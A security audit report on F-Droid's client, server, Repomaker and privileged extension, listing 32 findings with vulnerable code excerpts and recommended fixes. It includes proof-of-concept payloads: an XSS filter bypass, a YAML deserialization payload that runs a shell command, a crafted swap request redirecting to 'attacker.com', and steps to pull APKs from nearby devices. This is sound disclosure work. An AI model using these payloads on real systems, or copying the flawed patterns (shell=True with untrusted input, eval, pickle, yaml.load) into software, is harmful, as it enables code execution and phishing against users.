---
layout: page
title: Second Audit Report
---
Client | Open Tech Fund |
Title | Penetration Test Report |
Targets | F-droid Client F-droid Privileged Extension F-droid Repomaker F-droid Server F-droid Website |
Version | 1.0 |
Pentesters | Stefan Marsiske, Abhinav Mishra, Mahesh Saptarshi |
Authors | Stefan Marsiske, Abhinav Mishra, Mahesh Saptarshi, Patricia Piolon |
Reviewed by | John Sinteur |
Approved by | Melanie Rieback |
Version | Date | Author | Description |
0.1 | March 2nd, 2018 | Stefan Marsiske | Initial draft - python code audit targets |
0.2 | April 16th, 2018 | Abhinav Mishra, Mahesh Saptarshi | Final draft for review after adding all issues from code audit and pen-test |
0.3 | August 29th, 2018 | Patricia Piolon | Cleaned up xml, fixed some errors |
1.0 | August 29th, 2018 | Patricia Piolon | Finalizing |
Name | Melanie Rieback |
Address | Overdiemerweg 28 1111 PP Diemen The Netherlands |
Phone | +31 (0)20 2621 255 |
Email | info@radicallyopensecurity.com |
Penetration Test Report |
Open Tech Fund |
V 1.0 Diemen, August 29th, 2018 Confidential |
1 | Executive Summary |
1.1 | Introduction |
1.2 | Scope of work |
• | F-droid Client | |
• | F-droid Privileged Extension | |
• | F-droid Repomaker | |
• | F-droid Server | |
• | F-droid Website |
1.3 | Project objectives |
1.4 | Timeline |
1.5 | Results In A Nutshell |
1.6 | Summary of Findings |
1.7 | Summary of Recommendations |
ID | Type | Recommendation |
Code Execution | Upgrade to a version of Bleach which fixes this bug. | |
Code Execution | Validate appids | |
Code Execution | Use yaml.safe_load instead. | |
Infoleak |
Recommendation: restrict URLs to HTTP(S) schemes.
| |
Code Execution | Create a simple interpreter for the allowed rules, or do strict validation of the input. | |
Code Execution | Validate appids | |
Code Execution |
Recommendation: validate the URL and disallow schemas like javascript: and file:, possibly using a whitelist.
| |
html/JavaScript Injection | User supplied URI should be parsed and components validated before including it in the response.
Alternatively, URLEncode or httpencode the URI. | |
Unverified trust | Use a mechanism similar to asking for pin before pairing two devices through BlueTooth, for mobile based repos.
For non-mobile based repos, the TOFU key should not be stored permanently. | |
Malicious Use of Feature | The application should validate the message being shown to the user and its origin. Also accepting any message or domain from a user and redirecting the user to a different domain is a very insecure implementation. The users should not be redirected to any domain given by the other user. A validation of this parameter is also needed to be implemented.
| |
Code Execution |
Deploy bleach against the descriptions.
| |
Denial of Service | Either use longer ids, or don't make the ids depending on user input. | |
Denial of Service | Check for size of images before processing, set ulimit and disk quota. | |
Denial of Service | Generate export files in a dedicated folder with restrictive access permissions. | |
Denial of Service | Replace these with its defusedxml equivalent function or - only applicable to xml.* modules - make sure defusedxml.defuse_stdlib() is called. | |
Arbitrary file download |
Only allow certain types of files to be transmitted (whitelisting) if possible.
Limit the size of file to be transmitted, and warn the user for large files.
The issue should be fixed in the parent class, and the subclasses should perform some content type check, to avoid malicious file/app installation on the victim device.
| |
Insecure communication |
An out of band key sharing mechanism, such as sharing a password protected file over insecure RFComm socket, containing a symmetric encryption key, can be used to exchange keys between untrusted devices, instead of TOFU.
| |
Insecure communication |
An out of band key sharing mechanism, such as sharing a password protected file over insecure RFComm socket, containing a symmetric encryption key, can be used to exchange keys between untrusted devices, instead of TOFU.
| |
SQL Injection |
Use prepared statements for DB query preparation.
Validate the strings with white listing before using in SQL query.
| |
URI redirect |
If this feature is not needed, it should be removed.
| |
File deletion |
On finding that the output file exists, the function should return error and let higher level code handle the error. Alternatively, the code should add a random suffix to the output file name if the specified file exists.
| |
Insecure temp file |
FILE class in Java allows creation of subdirs, and setting specific permissions on created files. It is recommended to create the temp files within app specific subdirectory, for example "Fdroid" under global tmp folder. This subfolder can be created with restricted permissions for owner only, to create other temporary files with restricted permissions within this app-specific folder.
| |
Cryptography | It is recommended to update to a stronger signing key for this Android app. The old default RSA 1024-bit key is weak and officially deprecated.
| |
SQL Injection | It is recommended to never use the unvalidated user input inside a SQL query and execute it. The best way to make sure adversaries will not be able to inject unsolicited SQL syntax into your queries is to avoid using SQLiteDatabase.rawQuery() instead opting for a parameterized statement.
| |
Malicious Use of Feature | The way the feature has been implemented is prone to different attacks. It is suggested to not directly open a web server and allow everyone to access. Some authentication should be applied.
| |
Transport Layer Security |
A better security practice is to include an SSL certificate inside the application build.
Then check and trust only that certificate at runtime. This is known as SSL pinning. | |
Cryptography | It is recommended to update to a stronger signing key for this Android app. The old default RSA 1024-bit key is weak and officially deprecated. SHA256 is a better algorithm to use
| |
Tabnabbing |
Use rel="noopener" when using target="_blank"
| |
Malicious File Upload |
Check if the mime type matches the extension.
Use a white-list instead of a blacklist of extensions.
| |
Code Execution |
clean the name and data_list contents before rendering.
| |
Dangerous Function | Avoid the usage of the python pickle module | |
Execution without path | Establish a list of all good paths once (during installation), store it in a file with secure permissions and use this to call the external programs. | |
Code Execution | Validate appids. | |
Arbitrary file in response |
Only allow certain types of files to be transmitted (whitelisting) if possible.
Limit the size of file to be transmitted, and warn the user for large files.
| |
Hardcoded keys |
Provide key revocation list check. Alternatively, list the root CA keys in a separate file which can be updated independently.
| |
Weak data protection |
If the data being protected is sensitive, stronger encryption methods should be used.
| |
Unverified remote resources |
Documented manual review of external links before accepting a MR/PR/update/patch should be in place, and warning should be displayed to user when they click on the external links.
| |
Weak regular expression |
Regular expression pattern should be strengthened to not allow special characters such as semi colon, pipe, quotes etc. to avoid OS command injection attacks.
|
2 | Methodology |
2.1 | Planning |
1. | ScanningThrough the use of vulnerability scanners, all sources were be tested
for vulnerabilities. The result would be analyzed to determine if there any
vulnerabilities that could be exploited to gain access to a target host on a
network. | |
2. | GreppingThe source code has been grepped for various expressions identifying sources of interest. | |
3. | Source code readingThe either all of the source code or only portions identified by Scanning and Grepping were being analyzed for possible vulnerabilities. |
1. | ReconnaissanceWe attempted to gather as much information as possible about the
target. Reconnaissance can take two forms: active and passive. A
passive attack is always the best starting point as this would normally defeat
intrusion detection systems and other forms of protection, etc., afforded to the
network. This would usually involve trying to discover publicly available
information by utilizing a web browser and visiting newsgroups etc. An active form
would be more intrusive and may show up in audit logs and may take the form of a
social engineering type of attack. | |
2. | EnumerationWe used varied operating system fingerprinting tools to determine
what hosts are alive on the network and more importantly what services and operating
systems they are running. Research into these services would be carried out to
tailor the test to the discovered services. | |
3. | ScanningThrough the use of vulnerability scanners, all discovered hosts would be tested
for vulnerabilities. The result would be analyzed to determine if there any
vulnerabilities that could be exploited to gain access to a target host on a
network. | |
4. | Obtaining AccessThrough the use of published exploits or weaknesses found in
applications, operating system and services access would then be attempted. This may
be done surreptitiously or by more brute force methods. |
2.2 | Risk Classification |
• | ExtremeExtreme risk of security controls being compromised with the possibility
of catastrophic financial/reputational losses occurring as a result. | |
• | HighHigh risk of security controls being compromised with the potential for
significant financial/reputational losses occurring as a result. | |
• | ElevatedElevated risk of security controls being compromised with the potential
for material financial/reputational losses occurring as a result. | |
• | ModerateModerate risk of security controls being compromised with the potential
for limited financial/reputational losses occurring as a result. | |
• | LowLow risk of security controls being compromised with measurable negative
impacts as a result. |
3 | Automated Code Scans |
3.1 | Automated Scan Tools |
• | bandit – https://github.com/openstack/bandit | |
• | safety – https://pyup.io/safety/ | |
• | Visual Code Grepper (VCG) – https://github.com/nccgroup/VCG
|
4 | Pentest Technical Summary |
4.1 | Findings |
4.1.1 | OTF-001 — Evasion of Bleach Sanitizer in Repomaker |
Vulnerability ID: OTF-001 | |
Vulnerability type: Code Execution | |
Threat level: High |
<a href="javas	cript:alert(1)">alert</a> <a href="javascript:alert(1)">alert</a>
4.1.2 | OTF-002 — Shell Code Injection Via Malicious Appids Into Fdroidserver |
Vulnerability ID: OTF-002 | |
Vulnerability type: Code Execution | |
Threat level: High |
copy_to_container = 'docker cp "{0}" {1}:{2}'
def _copy_to_container(self, src_path, dest_path): """ Copies a file (presumed to be an apk) from src_path to home directory on container. """ path = '/home/drozer/{path}.apk'.format(path=dest_path) command = self.Commands.copy_to_container.format(src_path, self.container_id, path) try: check_output(command, shell=True) except CalledProcessError as e: logging.error(('Command "{command}" failed with ' 'error code {code}'.format(command=command, code=e.returncode))) raise
self._copy_to_container(apk_path, app_id)
for app_id, app in apps.items(): for build in app.builds: apks = [] for f in os.listdir(options.repo_path): n = common.get_release_filename(app, build) if f == n: apks.append(f) for apk in sorted(apks): apk_path = os.path.join(options.repo_path, apk) docker.perform_drozer_scan(apk_path, app.id)
publish_name_regex = re.compile(r"^(.+)_([0-9]+)\.(apk|zip)$")
def publishednameinfo(filename): filename = os.path.basename(filename) m = publish_name_regex.match(filename) try: result = (m.group(1), m.group(2)) except AttributeError: raise FDroidException(_("Invalid name for published file: %s") % filename) return result
appid, _ignored = fdroidserver.common.get_extension(os.path.basename(metadatapath))
appid = manifestroot.attrib['package']
appid, vercode, _ignored = common.get_apk_id_aapt(apkpath)
def get_apk_id_aapt(apkfile): """Extrat identification information from APK using aapt. :param apkfile: path to an APK file. :returns: triplet (appid, version code, version name) """ r = re.compile("package: name='(?P<appid>.*)' versionCode='(?P<vercode>.*)' versionName='(?P<vername>.*)' platformBuildVersionName='.*'") p = SdkToolsPopen(['aapt', 'dump', 'badging', apkfile], output=False)
appid = line.rstrip()
4.1.3 | OTF-003 — Code Injection in Fdroidserver Metadata Yaml Parsing |
Vulnerability ID: OTF-003 | |
Vulnerability type: Code Execution | |
Threat level: High |
def parse_yaml_metadata(mf, app): yamldata = yaml.load(mf, Loader=YamlLoader) if yamldata: app.update(yamldata) return app
foo: !!python/object/apply:subprocess.check_output ['whoami]
4.1.4 | OTF-004 — Infoleak in Fdroidserver Checkupdates.py |
Vulnerability ID: OTF-004 | |
Vulnerability type: Infoleak | |
Threat level: High |
urlcode, codeex, urlver, verex = app.UpdateCheckData.split('|')
vercode = "99999999" if len(urlcode) > 0: logging.debug("...requesting {0}".format(urlcode)) req = urllib.request.Request(urlcode, None) resp = urllib.request.urlopen(req, None, 20) page = resp.read().decode('utf-8') m = re.search(codeex, page) if not m: raise FDroidException("No RE match for version code") vercode = m.group(1).strip() version = "??" if len(urlver) > 0: if urlver != '.': logging.debug("...requesting {0}".format(urlver)) req = urllib.request.Request(urlver, None) resp = urllib.request.urlopen(req, None, 20) page = resp.read().decode('utf-8') m = re.search(verex, page) if not m: raise FDroidException("No RE match for version") version = m.group(1) return (version, vercode)
4.1.5 | OTF-005 — Code Injection in Fdroidserver Checkupdates Through Eval'ed User Supplied Data |
Vulnerability ID: OTF-005 | |
Vulnerability type: Code Execution | |
Threat level: High |
op = app.VercodeOperation.replace("%c", oldvercode) vercode = str(eval(op))
4.1.6 | OTF-006 — Code Injection Via Malicious Appid in Fdroidserver Build.py |
Vulnerability ID: OTF-006 | |
Vulnerability type: Code Execution | |
Threat level: High |
subprocess.call("fdroid publish {0}".format(app.id))
4.1.7 | OTF-007 — Javascript Injection Into HTMLified Descriptions in Fdroidserver Metadata |
Vulnerability ID: OTF-007 | |
Vulnerability type: Code Execution | |
Threat level: High |
index = txt.find("]") ... url = txt[1:index] index2 = url.find(' ') ... else: urltxt = url[index2 + 1:] url = url[:index2] ... res_html += '<a href="' + url + '">' + html.escape(urltxt, quote=False) + '</a>'
4.1.8 | OTF-008 — Unvalidated User Input Included in Response |
Vulnerability ID: OTF-008 | |
Vulnerability type: html/JavaScript Injection | |
Threat level: High |
Line 194: private Response respond(Map<String, String> headers, String uri) { ... ... Lines 222-226: if (f.isDirectory() && !uri.endsWith("/")) { uri += "/"; Response res = createResponse(NanoHTTPD.Response.Status.REDIRECT, NanoHTTPD.MIME_HTML, "<html><body>Redirected: <a href=\"" + uri + "\">" + uri + "</a></body></html>"); res.addHeader("Location", uri);
4.1.9 | OTF-009 — Applicatioin uses TrustOnFirstUse (TOFU) Usage unverified signing certificate |
Vulnerability ID: OTF-009 | |
Vulnerability type: Unverified trust | |
Threat level: High |
243: X509Certificate certificate = getSigningCertFromJar(indexEntry); verifySigningCertificate(certificate); 417: if (repo.signingCertificate == null) { if (repo.fingerprint != null) { String fingerprintFromJar = Utils.calcFingerprint(rawCertFromJar); if (!repo.fingerprint.equalsIgnoreCase(fingerprintFromJar)) { throw new SigningException(repo, "Supplied certificate fingerprint does not match!"); } } Utils.debugLog(TAG, "Saving new signing certificate to database for " + repo.address); ContentValues values = new ContentValues(2); values.put(Schema.RepoTable.Cols.LAST_UPDATED, Utils.formatDate(new Date(), "")); values.put(Schema.RepoTable.Cols.SIGNING_CERT, Hasher.hex(rawCertFromJar)); RepoProvider.Helper.update(context, repo, values); repo.signingCertificate = certFromJar; }
Line 237: assertSigningCertFromXmlCorrect(); ... ... Line 280: private void assertSigningCertFromXmlCorrect() throws SigningException { // no signing cert read from database, this is the first use if (repo.signingCertificate == null) { verifyAndStoreTOFUCerts(signingCertFromIndexXml, signingCertFromJar); } ... ... Line 392: private void verifyAndStoreTOFUCerts(String certFromIndexXml, X509Certificate rawCertFromJar) throws SigningException { ... ... Utils.debugLog(TAG, "Saving new signing certificate in the database for " + repo.address); ContentValues values = new ContentValues(2); values.put(RepoTable.Cols.LAST_UPDATED, Utils.formatDate(new Date(), "")); values.put(RepoTable.Cols.SIGNING_CERT, Hasher.hex(rawCertFromJar)); RepoProvider.Helper.update(context, repo, values); }
4.1.10 | OTF-010 — (fdroid Client) Exploiting "Nearby Swap" Feature to Show Malicious Prompt to Users or Redirect to Malicious Sites |
Vulnerability ID: OTF-010 | |
Vulnerability type: Malicious Use of Feature | |
Threat level: High |
POST /request-swap HTTP/1.1 Content-Length: 50 Content-Type: application/x-www-form-urlencoded Host: 192.168.57.33:8888 Connection: close User-Agent: F-Droid repo=http://attacker.com%2Ffdroid%2Frepo%3Fabc.apk
4.1.11 | OTF-011 — Weak Regexps Filtering XSS and Unwanted HTML Tags in Fdroidserver/lint.py |
Vulnerability ID: OTF-011 | |
Vulnerability type: Code Execution | |
Threat level: Moderate |
(re.compile(r'.*<(iframe|link|script).*'), ... (re.compile(r'''.*\s+src=["']javascript:.*'''),
4.1.12 | OTF-012 — Key Alias Collisions Can Lead to DoS of Publishing in Fdroidserver |
Vulnerability ID: OTF-012 | |
Vulnerability type: Denial of Service | |
Threat level: Moderate |
# It was suggested at # https://dev.guardianproject.info/projects/bazaar/wiki/FDroid_Audit # that a package could be crafted, such that it would use the same signing # key as an existing app. While it may be theoretically possible for such a # colliding package ID to be generated, it seems virtually impossible that # the colliding ID would be something that would be a) a valid package ID, # and b) a sane-looking ID that would make its way into the repo. # Nonetheless, to be sure, before publishing we check that there are no # collisions, and refuse to do any publishing if that's the case... allapps = metadata.read_metadata() vercodes = common.read_pkg_args(options.appid, True) allaliases = [] for appid in allapps: m = hashlib.md5() m.update(appid.encode('utf-8')) keyalias = m.hexdigest()[:8] if keyalias in allaliases: logging.error(_("There is a keyalias collision - publishing halted")) sys.exit(1) allaliases.append(keyalias)
4.1.13 | OTF-013 — Image Bomb Can Lead to DoS in Fdroidserver:update.py |
Vulnerability ID: OTF-013 | |
Vulnerability type: Denial of Service | |
Threat level: Moderate |
with open(inpath, 'rb') as fp: in_image = Image.open(fp) data = list(in_image.getdata()) out_image = Image.new(in_image.mode, in_image.size) out_image.putdata(data) out_image.save(outpath, "JPEG", optimize=True)
from PIL import Image with open('lottapixel.jpg', 'rb') as fp: in_image = Image.open(fp) data = list(in_image.getdata()) out_image = Image.new(in_image.mode, in_image.size) out_image.putdata(data) out_image.save("exploded.jpg", "JPEG", optimize=True)
4.1.14 | OTF-014 — Insecure Usage of Temporary File/Directory in Fdroidserver Docker/drozer.py |
Vulnerability ID: OTF-014 | |
Vulnerability type: Denial of Service | |
Threat level: Moderate |
drozer = pexpect.spawn("drozer console connect") drozer.logfile = open("/tmp/drozer_report.log", "w")
4.1.15 | OTF-015 — Parsing Untrusted XML Data in Fdroidserver |
Vulnerability ID: OTF-015 | |
Vulnerability type: Denial of Service | |
Threat level: Moderate |
Location: ./fdroidserver/btlog.py:97 doc = xml.dom.minidom.parse(repof)
Location: ./fdroidserver/common.py:2940 return XMLElementTree.parse(path).getroot()
Location: ./fdroidserver/server.py:453 tree = fromstring(response)
4.1.16 | OTF-016 — Missing file type and size validation |
Vulnerability ID: OTF-016 | |
Vulnerability type: Arbitrary file download | |
Threat level: Moderate |
4.1.17 | OTF-017 — Use of Insecure Communication Mechanism - BluetoothClient.java |
Vulnerability ID: OTF-017 | |
Vulnerability type: Insecure communication | |
Threat level: Moderate |
Line 29: socket = device.createInsecureRfcommSocketToServiceRecord(BluetoothConstants.fdroidUuid());
4.1.18 | OTF-018 — Use of Insecure Communication Mechanism - BluetoothServer.java |
Vulnerability ID: OTF-018 | |
Vulnerability type: Insecure communication | |
Threat level: Moderate |
Line 72: serverSocket = adapter.listenUsingInsecureRfcommWithServiceRecord("FDroid App Swap", BluetoothConstants.fdroidUuid());
4.1.19 | OTF-019 — Potential SQL Injection |
Vulnerability ID: OTF-019 | |
Vulnerability type: SQL Injection | |
Threat level: Moderate |
data/QueryBuilder.java: Lines 67-75 and lines 168-172 data/AppProvider.java: Lines 268, 700, 737, 922, 1058, 1081, 1132, 1178 data/TempApkProvider.java: Line 107 data/ApkProvider.java: Lines 315, 470, data/FdroidProvider.java: Line 146
4.1.20 | OTF-020 — Unverified URI redirect |
Vulnerability ID: OTF-020 | |
Vulnerability type: URI redirect | |
Threat level: Moderate |
157: private void showAddRepo() { /* * If there is text in the clipboard, and it looks like a URL, use that. * Otherwise use "https://" as default repo string. */ ClipboardCompat clipboard = ClipboardCompat.create(this); String text = clipboard.getText(); String fingerprint = null; String username = null; String password = null; if (!TextUtils.isEmpty(text)) { ... ... 189: text = NewRepoConfig.sanitizeRepoUri(uri); ... ... 287: case DOESNT_EXIST: prepareToCreateNewRepo(url, fp, username, password);
Utils.debugLog(TAG, "Enabling existing repo: " + url); Repo repo = RepoProvider.Helper.findByAddress(context, url); ContentValues values = new ContentValues(2); values.put(RepoTable.Cols.IN_USE, 1); values.put(RepoTable.Cols.FINGERPRINT, fingerprint); RepoProvider.Helper.update(context, repo, values);
4.1.21 | OTF-021 — File Deleted Unconditionally |
Vulnerability ID: OTF-021 | |
Vulnerability type: File deletion | |
Threat level: Moderate |
58: private void init( File ofile) throws IOException { if (ofile.exists()) ofile.delete(); out = new FileOutputStream( ofile); if (getLogger().isDebugEnabled()) ZipListingHelper.listHeader( getLogger()); }
4.1.22 | OTF-022 — Secure Temp File Usage Recommended |
Vulnerability ID: OTF-022 | |
Vulnerability type: Insecure temp file | |
Threat level: Moderate |
576: tmpdir = System.getProperty("java.io.tmpdir");
610: file = File.createTempFile("NanoHTTPD-", "", new File(tempdir)); 1297: private String saveTmpFile(ByteBuffer b, int offset, int len) { String path = ""; if (len > 0) { FileOutputStream fileOutputStream = null; try { TempFile tempFile = tempFileManager.createTempFile(); ByteBuffer src = b.duplicate(); fileOutputStream = new FileOutputStream(tempFile.getName()); 1318: private RandomAccessFile getTmpBucket() { try { TempFile tempFile = tempFileManager.createTempFile(); return new RandomAccessFile(tempFile.getName(), "rw");
4.1.23 | OTF-023 — (fdroidclient) App Is Signed With `SHA1withRSA`, Known to Have Collision Issues |
Vulnerability ID: OTF-023 | |
Vulnerability type: Cryptography | |
Threat level: Moderate |
[ [ Version: V3 Subject: CN=Ciaran Gultnieks, OU=Unknown, O=Unknown, L=Wetherby, ST=Unknown, C=UK Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Validity: [From: Fri Jul 23 22:40:24 IST 2010, To: Tue Dec 08 22:40:24 IST 2037] Issuer: CN=Ciaran Gultnieks, OU=Unknown, O=Unknown, L=Wetherby, ST=Unknown, C=UK SerialNumber: [ 4c49cd00] ] Algorithm: [SHA1withRSA] Signature: 0000: 08 E4 EF 69 9E 98 07 67 7F F5 67 53 DA 73 EF B2 ...i...g..gS.s.. 0010: 39 0D 5A E2 C1 7E 4D B6 91 D5 DF 7A 7B 60 FC 07 9.Z...M....z.`.. 0020: 1A E5 09 C5 41 4B E7 D5 DA 74 DF 28 11 E8 3D 36 ....AK...t.(..=6 0030: 68 C4 A0 B1 AB C8 4B 9F A7 D9 6B 4C DF 30 BB A6 h.....K...kL.0.. 0040: 85 17 AD 2A 93 E2 33 B0 42 97 2A C0 55 3A 48 01 ...*..3.B.*.U:H. 0050: C9 EB E0 7B F5 7E BE 9A 3B 3D 6D 66 39 65 26 0E ........;=mf9e&. 0060: 50 F3 B8 F4 6D B0 53 17 61 E6 03 40 A2 BD DC 34 P...m.S.a..@...4 0070: 26 09 83 97 FD A5 40 44 A1 7E 52 44 54 9F 98 69 &.....@D..RDT..i 0080: B4 60 CA 5E 6E 21 6B 6F 6A 2D B0 58 0B 48 0C A2 .`.^n!koj-.X.H.. 0090: AF E6 EC 6B 46 EE DA CF A4 AA 45 03 88 09 EC E0 ...kF.....E..... 00A0: C5 97 86 53 D6 C8 5F 67 8E 7F 5A 21 56 D1 BE DD ...S.._g..Z!V... 00B0: 81 17 75 1E 64 A4 B0 DC D1 40 F3 04 0B 02 18 21 ..u.d....@.....! 00C0: A8 D9 3A ED 8D 01 BA 36 DB 6C 82 37 22 11 FE D7 ..:....6.l.7"... 00D0: 14 D9 A3 26 07 03 8C DF D5 65 BD 52 9F FC 63 72 ...&.....e.R..cr 00E0: 12 AA A2 C2 24 EF 22 B6 03 EC CE FB 5B F1 E0 85 ....$.".....[... 00F0: C1 91 D4 B2 4F E7 42 B1 7A B3 F5 5D 4E 6F 05 EF ....O.B.z..]No.. ]
4.1.24 | OTF-024 — (fdroidclient) Raw SQL Query Executions |
Vulnerability ID: OTF-024 | |
Vulnerability type: SQL Injection | |
Threat level: Moderate |
• | org\fdroid\fdroid\data\AppProvider.java | |
• | org\fdroid\fdroid\data\DBHelper.java | |
• | org\fdroid\fdroid\data\InstalledAppProvider.java | |
• | org\fdroid\fdroid\data\LoggingQuery.java | |
• | org\fdroid\fdroid\data\TempApkProvider.java | |
• | org\fdroid\fdroid\data\TempAppProvider.java |
sQLiteDatabase.rawQuery("UPDATE fdroid_app SET iconUrl = ( SELECT (fdroid_repo.address || CASE WHEN fdroid_repo.version >= ? THEN ? ELSE ? END || fdroid_app.icon) FROM fdroid_apk JOIN fdroid_repo ON (fdroid_repo._id = fdroid_apk.repo) WHERE fdroid_app.id = fdroid_apk.id AND fdroid_apk.vercode = fdroid_app.suggestedVercode ), iconUrlLarge = ( SELECT (fdroid_repo.address || CASE WHEN fdroid_repo.version >= ? THEN ? ELSE ? END || fdroid_app.icon) FROM fdroid_apk JOIN fdroid_repo ON (fdroid_repo._id = fdroid_apk.repo) WHERE fdroid_app.id = fdroid_apk.id AND fdroid_apk.vercode = fdroid_app.suggestedVercode)", new String[]{string4, string2, "/icons/", string4, string3, "/icons/"}); DBHelper.clearRepoEtags(sQLiteDatabase);
4.1.25 | OTF-025 — (fdroid Client) Snooping in Between Clients in "Nearby Swap" |
Vulnerability ID: OTF-025 | |
Vulnerability type: Malicious Use of Feature | |
Threat level: Moderate |
1. | Install the app on an Android device. | |
2. | Connect to a wifi network and chose the option Nearby Swap | |
3. | Select any app. | |
4. | Now go to any computer on the same wifi network and scan for all local devices with port 8888. Or just open the URL shown on mobile device. | |
5. | On the laptop, you will see the fdroid swap default page. | |
6. | Now open the URL http://[mobile device IP]:8888/fdroid/repo/icons/. This page will show the list of applications being shared by this device. | |
7. | If you want to download an apk shortcut file from this device, just modify the URL as http://[mobile device IP]:8888/fdroid/repo/[any_icon_name.apk] |
GET /fdroid/repo/com.amazon.mShop.android_4810.apk HTTP/1.1 User-Agent: F-Droid 1.0.3 Host: 192.168.57.33:8888 Connection: close Accept-Encoding: gzip, deflate
HTTP/1.1 200 OK Content-Type: application/vnd.android.package-archive Date: Tue, 27 Mar 2018 12:36:08 GMT ETag: bca3baa2 Content-Length: 320880 Accept-Ranges: bytes Connection: keep-alive Content-Length: 320880 .... [Redacted] ....
4.1.26 | OTF-026 — (fdroid Client) Insecure Implementation of SSL |
Vulnerability ID: OTF-026 | |
Vulnerability type: Transport Layer Security | |
Threat level: Moderate |
4.1.27 | OTF-027 — (Privilege Extension) Mobile application package signed with weak algorithm `SHA1withRSA` |
Vulnerability ID: OTF-027 | |
Vulnerability type: Cryptography | |
Threat level: Moderate |
[ [ Version: V3 Subject: CN=Ciaran Gultnieks, OU=Unknown, O=Unknown, L=Wetherby, ST=Unknown, C=UK Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5 Key: Validity: [From: Fri Jul 23 22:40:24 IST 2010, To: Tue Dec 08 22:40:24 IST 2037] Issuer: CN=Ciaran Gultnieks, OU=Unknown, O=Unknown, L=Wetherby, ST=Unknown, C=UK SerialNumber: [ 4c49cd00] ] Algorithm: [SHA1withRSA] Signature: 0000: 08 E4 EF 69 9E 98 07 67 7F F5 67 53 DA 73 EF B2 ...i...g..gS.s.. 0010: 39 0D 5A E2 C1 7E 4D B6 91 D5 DF 7A 7B 60 FC 07 9.Z...M....z.`.. 0020: 1A E5 09 C5 41 4B E7 D5 DA 74 DF 28 11 E8 3D 36 ....AK...t.(..=6 0030: 68 C4 A0 B1 AB C8 4B 9F A7 D9 6B 4C DF 30 BB A6 h.....K...kL.0.. 0040: 85 17 AD 2A 93 E2 33 B0 42 97 2A C0 55 3A 48 01 ...*..3.B.*.U:H. 0050: C9 EB E0 7B F5 7E BE 9A 3B 3D 6D 66 39 65 26 0E ........;=mf9e&. 0060: 50 F3 B8 F4 6D B0 53 17 61 E6 03 40 A2 BD DC 34 P...m.S.a..@...4 0070: 26 09 83 97 FD A5 40 44 A1 7E 52 44 54 9F 98 69 &.....@D..RDT..i 0080: B4 60 CA 5E 6E 21 6B 6F 6A 2D B0 58 0B 48 0C A2 .`.^n!koj-.X.H.. 0090: AF E6 EC 6B 46 EE DA CF A4 AA 45 03 88 09 EC E0 ...kF.....E..... 00A0: C5 97 86 53 D6 C8 5F 67 8E 7F 5A 21 56 D1 BE DD ...S.._g..Z!V... 00B0: 81 17 75 1E 64 A4 B0 DC D1 40 F3 04 0B 02 18 21 ..u.d....@.....! 00C0: A8 D9 3A ED 8D 01 BA 36 DB 6C 82 37 22 11 FE D7 ..:....6.l.7"... 00D0: 14 D9 A3 26 07 03 8C DF D5 65 BD 52 9F FC 63 72 ...&.....e.R..cr 00E0: 12 AA A2 C2 24 EF 22 B6 03 EC CE FB 5B F1 E0 85 ....$.".....[... 00F0: C1 91 D4 B2 4F E7 42 B1 7A B3 F5 5D 4E 6F 05 EF ....O.B.z..]No.. ]
4.1.28 | OTF-028 — Tabnabbing in Repomaker |
Vulnerability ID: OTF-028 | |
Vulnerability type: Tabnabbing | |
Threat level: Low |
repomaker/templates/repomaker/repo_page/index.html 9: <a href="https://f-droid.org" target="_blank">Get F-Droid</a> 24: <a href="https://f-droid.org" target="_blank" class="rm-no-underline"> 42: target="_blank"> 47: target="_blank">
repomaker/templates/repomaker/repo/index_share.html 36: <a href="{{ repo.url }}" class="rm-repo-share-general-view" target="_blank"> 58: <a href="{{ repo.url }}/assets/qr_code.html" class="rm-repo-share-add-scan" target="_blank"> 70: target="_blank"> 74: target="_blank">
4.1.29 | OTF-029 — Repomaker:apk:_def_get_type Allows for Mime Type Mismatches |
Vulnerability ID: OTF-029 | |
Vulnerability type: Malicious File Upload | |
Threat level: Low |
# TODO add more types if ext.startswith('.php') or ext == '.py' or ext == '.pl' or ext == '.cgi': raise ValidationError(_('Unsupported File Type'))
4.1.30 | OTF-030 — Unsafe HTML Rendering of Arbitrary Input |
Vulnerability ID: OTF-030 | |
Vulnerability type: Code Execution | |
Threat level: Low |
class DataListTextInput(TextInput): def __init__(self, data_list, *args, **kwargs): ... self._list = data_list def render(self, name, value, attrs=None, renderer=None): self.attrs.update({'list': 'list__%s' % name}) text_html = super().render(name, value, attrs, renderer) data_list = '<datalist id="list__%s">' % name for item in self._list: data_list += '<option value="%s">%s</option>' % (item[0], item[1]) data_list += '</datalist>' return text_html + data_list
self.fields['lang'] = CharField(required=True, min_length=2, widget=DataListTextInput(settings.LANGUAGES))
4.1.31 | OTF-031 — Dangerous Deserialization Using Python Pickle in Fdroidserver:update.py |
Vulnerability ID: OTF-031 | |
Vulnerability type: Dangerous Function | |
Threat level: Low |
with open(apkcachefile, 'rb') as cf: apkcache = pickle.load(cf, encoding='utf-8') if apkcache.get("METADATA_VERSION") != METADATA_VERSION \ or apkcache.get('allow_disabled_algorithms') != ada:
4.1.32 | OTF-032 — Starting a Process With a Partial Executable Path |
Vulnerability ID: OTF-032 | |
Vulnerability type: Execution without path | |
Threat level: Low |
Location: ./docker/install_agent.py:10 call("adb wait-for-device", shell=True)
Location: ./docker/install_agent.py:22 output = check_output('adb shell "pm list packages"', shell=True)
Location: ./docker/install_agent.py:36 install_output = check_output("adb install /home/drozer/drozer-agent.apk", shell=True)
Location: ./docker/install_agent.py:47 pm_list_output = check_output('adb shell "pm list packages"', shell=True)
Location: ./docker/install_agent.py:56 call('adb shell "am start com.mwr.dz/.activities.MainActivity"', shell=True, stdout=FNULL)
Location: ./docker/install_agent.py:60 call("python /home/drozer/enable_service.py", shell=True, stdout=FNULL)
Location: ./docker/install_agent.py:63 call("adb forward tcp:31415 tcp:31415", shell=True, stdout=FNULL)
Location: ./fdroidserver/build.py:80 buildserverid = subprocess.check_output(['vagrant', 'ssh', '-c', 'cat /home/vagrant/buildserverid'], cwd='builder').rstrip().decode()
